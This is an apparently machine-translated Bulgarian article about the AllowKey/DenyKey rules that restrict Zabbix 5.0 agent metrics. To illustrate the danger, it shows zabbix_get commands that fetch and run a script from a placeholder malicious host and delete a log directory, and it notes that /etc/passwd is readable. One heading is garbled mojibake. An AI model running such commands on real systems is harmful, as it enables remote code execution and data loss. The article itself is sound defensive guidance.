Поддръжка на черен и бял списък за показатели от страна на агента в Zabbix 5.0

Поддръжка на черен и бял списък за показатели от страна на агента в Zabbix 5.0

Поддръжка на черен и бял списък за показатели от страна на агента

Тихон Усков, инженер по интеграция, Zabbix

Проблеми със сигурността на данните

Zabbix 5.0 има нова функция, която ви позволява да подобрите сигурността в системите, използващи Zabbix Agent, и замества стария параметър EnableRemoteCommands.

Подобренията в сигурността на базираните на агенти системи произтичат от факта, че агентът може да изпълнява голям брой потенциално опасни действия.

  • Агентът може да събира почти всяка информация, включително поверителна или потенциално опасна информация, от конфигурационни файлове, регистрационни файлове, файлове с пароли или всякакви други файлове.

Например, като използвате помощната програма zabbix_get, можете да получите достъп до списък с потребители, техните домашни директории, файлове с пароли и т.н.

Поддръжка на черен и бял списък за показатели от страна на агента в Zabbix 5.0

Достъп до данни чрез помощната програма zabbix_get

ЗАБЕЛЕЖКА. Данните могат да бъдат извлечени само ако агентът има разрешения за четене на съответния файл. Но, например, файлът /etc/passwd/ четим от всички потребители.

  • Агентът може също така да изпълнява потенциално опасни команди. Например, клавиш *system.run[]** ви позволява да изпълнявате всякакви отдалечени команди на мрежови възли, включително стартиране на скриптове от уеб интерфейса на Zabbix, които също изпълняват команди от страна на агента.

# zabbix_get -s my.prod.host -k system.run["wget http://malicious_source -O- | sh"]

# zabbix_get -s my.prod.host -k system.run["rm -rf /var/log/applog/"]

  • В Linux агентът работи по подразбиране без root привилегии, докато в Windows той работи като услуга като System и има неограничен достъп до файловата система. Съответно, ако не бъдат направени промени в параметрите на Zabbix Agent след инсталирането, агентът има достъп до регистъра, файловата система и може да изпълнява WMI заявки.

В по-ранните версии параметърът EnableRemoteCommands=0 разрешено само за деактивиране на показателите с ключа *system.run[]** и стартиране на скриптове от уеб интерфейса, но нямаше начин да се ограничи достъпът до отделни файлове, да се разрешат или забранят отделни ключове, които са инсталирани с агента, или да се ограничи използването на отделни параметри.

Поддръжка на черен и бял списък за показатели от страна на агента в Zabbix 5.0

Използване на параметъра EnableRemoteCommand в по-ранни версии на Zabbix

AllowKey/DenyKey

Zabbix 5.0 помага за защита срещу такъв неоторизиран достъп чрез предоставяне на бели и черни списъци за разрешаване и отказ на показатели от страна на агента.

В Zabbix 5.0 всички ключове, включително *system.run[]** са активирани и са добавени две нови опции за конфигуриране на агенти:

AllowKey= — разрешени проверки;

DenyKey= — забранени проверки;

където е модел на име на ключ с параметри, който използва метазнаци (*).

Ключовете AllowKey и DenyKey ви позволяват да разрешите или откажете отделни показатели въз основа на конкретен модел. За разлика от други конфигурационни параметри, броят на параметрите AllowKey/DenyKey не е ограничен. Това ви позволява ясно да дефинирате какво точно може да прави агентът в системата, като създадете дърво от проверки - изпълними ключове, където редът, в който са записани, играе много важна роля.

Последователност от правила

Правилата се проверяват в реда, в който са въведени в конфигурационния файл. Ключът се проверява според правилата преди първото съвпадение и веднага щом ключът на елемента от данни съвпадне с шаблона, той се разрешава или отказва. След това проверката на правилата спира и останалите ключове се игнорират.

Следователно, ако даден елемент съвпада както с правило за разрешаване, така и с правило за отказ, резултатът ще зависи от това кое правило е първо в конфигурационния файл.

Поддръжка на черен и бял списък за показатели от страна на агента в Zabbix 5.0

2 различни правила с еднакъв модел и ключ vfs.file.size[/tmp/file]

Редът за използване на клавишите AllowKey/DenyKey:

  1. точни правила,
  2. Общи правила,
  3. забранително правило.

Например, ако имате нужда от достъп до файлове в определена папка, първо трябва да разрешите достъп до тях и след това да откажете всичко останало, което не попада в рамките на установените разрешения. Ако първо се използва правилото за отказ, достъпът до папката ще бъде отказан.

Поддръжка на черен и бял списък за показатели от страна на агента в Zabbix 5.0

Правилна последователност

Ако трябва да позволите на 2 помощни програми да работят чрез *system.run[]** и правилото за отказ ще бъде посочено първо, помощните програми няма да бъдат стартирани, тъй като първият шаблон винаги ще съответства на който и да е ключ, а следващите правила ще бъдат игнорирани.

Поддръжка на черен и бял списък за показатели от страна на агента в Zabbix 5.0

Неправилна последователност

Модели

RћSЃRЅRѕRІRЅS <Rμ RїSЂR RІReR ° "F

Шаблонът е израз със заместващи знаци. Метасимволът (*) отговаря на произволен брой знаци на конкретна позиция. Метасимволите могат да се използват както в името на ключа, така и в параметрите. Например, можете стриктно да дефинирате първия параметър с текст, и посочете следващия като заместващ знак.

Параметрите трябва да бъдат оградени в квадратни скоби [].

  • system.run[* - грешно
  • vfs.file*.txt] - грешно
  • vfs.file.*[*] - правилно

Примери за използване на заместващ знак.

  1. В името на ключа и в параметъра. В този случай ключът не съответства на подобен ключ, който не съдържа параметър, тъй като в шаблона посочихме, че искаме да получим определен край на името на ключа и определен набор от параметри.
  2. Ако шаблонът не използва квадратни скоби, шаблонът позволява всички ключове, които не съдържат параметри, и отказва всички ключове, които съдържат указания параметър.
  3. Ако ключът е написан изцяло и параметрите са посочени като заместващ знак, той ще съответства на всеки подобен ключ с всякакви параметри и няма да съответства на ключа без квадратни скоби, т.е. ще бъде разрешен или отказан.

Поддръжка на черен и бял списък за показатели от страна на агента в Zabbix 5.0

Правила за попълване на параметри.

  • Ако се предвижда да се използва ключ с параметри, параметрите трябва да бъдат посочени в конфигурационния файл. Параметрите трябва да бъдат посочени като метасимвол. Необходимо е внимателно да се отказва достъп до всеки файл и да се вземе предвид каква информация може да предостави метриката при различни изписвания - с и без параметри.

Поддръжка на черен и бял списък за показатели от страна на агента в Zabbix 5.0

Характеристики на писане на ключове с параметри

  • Ако ключ е посочен с параметри, но параметрите не са задължителни и са посочени като метасимвол, ключ без параметри ще бъде разрешен. Например, ако искате да деактивирате получаването на информация за натоварването на процесора и да посочите, че ключът system.cpu.load[*] трябва да бъде деактивиран, не забравяйте, че ключът без параметри ще върне средната стойност на натоварване.

Поддръжка на черен и бял списък за показатели от страна на агента в Zabbix 5.0

Правила за попълване на параметри

Забележки

регулиране

  • Някои правила не могат да бъдат променяни от потребителя, например правила за откриване или правила за автоматична регистрация на агент. Правилата AllowKey/DenyKey не засягат следните параметри:
    - Елемент с име на хост
    - HostMetadataItem
    - HostInterfaceItem

ЗАБЕЛЕЖКА. Ако администратор деактивира ключ, когато бъде запитан, Zabbix не предоставя информация защо показателят или ключът попада в категориятаНЕ СЕ ПОДДЪРЖА'. Информацията за забраните за изпълнение на отдалечени команди също не се показва в регистрационните файлове на агента. Това е от съображения за сигурност, но може да усложни отстраняването на грешки, ако показателите попаднат в неподдържана категория по някаква причина.

  • Не трябва да разчитате на определен ред за свързване на външни конфигурационни файлове (например по азбучен ред).

Помощни програми за команден ред

След като настроите правилата, трябва да се уверите, че всичко е конфигурирано правилно.

Можете да използвате една от трите опции:

  • Добавете показател към Zabbix.
  • Тествайте с zabbix_agentd. Zabbix агент с опция -печат (-p) показва всички ключове (които са разрешени по подразбиране), с изключение на тези, които не са разрешени от конфигурацията. И с опцията -тест (-t) за забранен ключ ще се върне 'Неподдържан ключ на елемент'.
  • Тествайте с zabbix_get. полезност zabbix_get с опция -k Ще се върне 'ZBX_NOTSUPPORTED: Неизвестен показател'.

Разрешете или откажете

Можете да откажете достъп до файл и да проверите, например с помощта на помощната програма zabbix_getче достъпът до файла е отказан.

Поддръжка на черен и бял списък за показатели от страна на агента в Zabbix 5.0

**

ЗАБЕЛЕЖКА. Кавичките в параметъра се игнорират.

В този случай достъпът до такъв файл може да бъде разрешен по различен път. Например, ако символна връзка води към него.

Поддръжка на черен и бял списък за показатели от страна на агента в Zabbix 5.0

Препоръчва се да се проверят различни варианти за прилагане на посочените правила, както и да се вземат предвид възможностите за заобикаляне на забраните.

Въпроси и отговори

Въпрос. Защо беше избран толкова сложен модел със собствен език, за да опише правила, разрешения и забрани? Защо не беше възможно да се използват например регулярните изрази, които Zabbix използва?

Отговарям. Това е проблем с производителността на регулярен израз, тъй като обикновено има само един агент и той проверява огромен брой показатели. Regex е доста тежка операция и не можем да проверим хиляди показатели по този начин. Wildcards - универсално, широко използвано и просто решение.

Въпрос. Включените файлове не са ли включени по азбучен ред?

Отговарям. Доколкото ми е известно, практически е невъзможно да се предскаже редът, в който ще се прилагат правилата, ако разпределите правилата в различни файлове. Препоръчвам да съберете всички правила AllowKey/DenyKey в един файл за включване, тъй като те взаимодействат помежду си и да включите този файл.

Въпрос. В Zabbix 5.0 опцията 'EnableRemoteCommands=' липсва в конфигурационния файл и са налични само AllowKey/DenyKey?

Отговор. да, така е.

Спасибо за внимание!

Източник: www.habr.com

Добавяне на нов коментар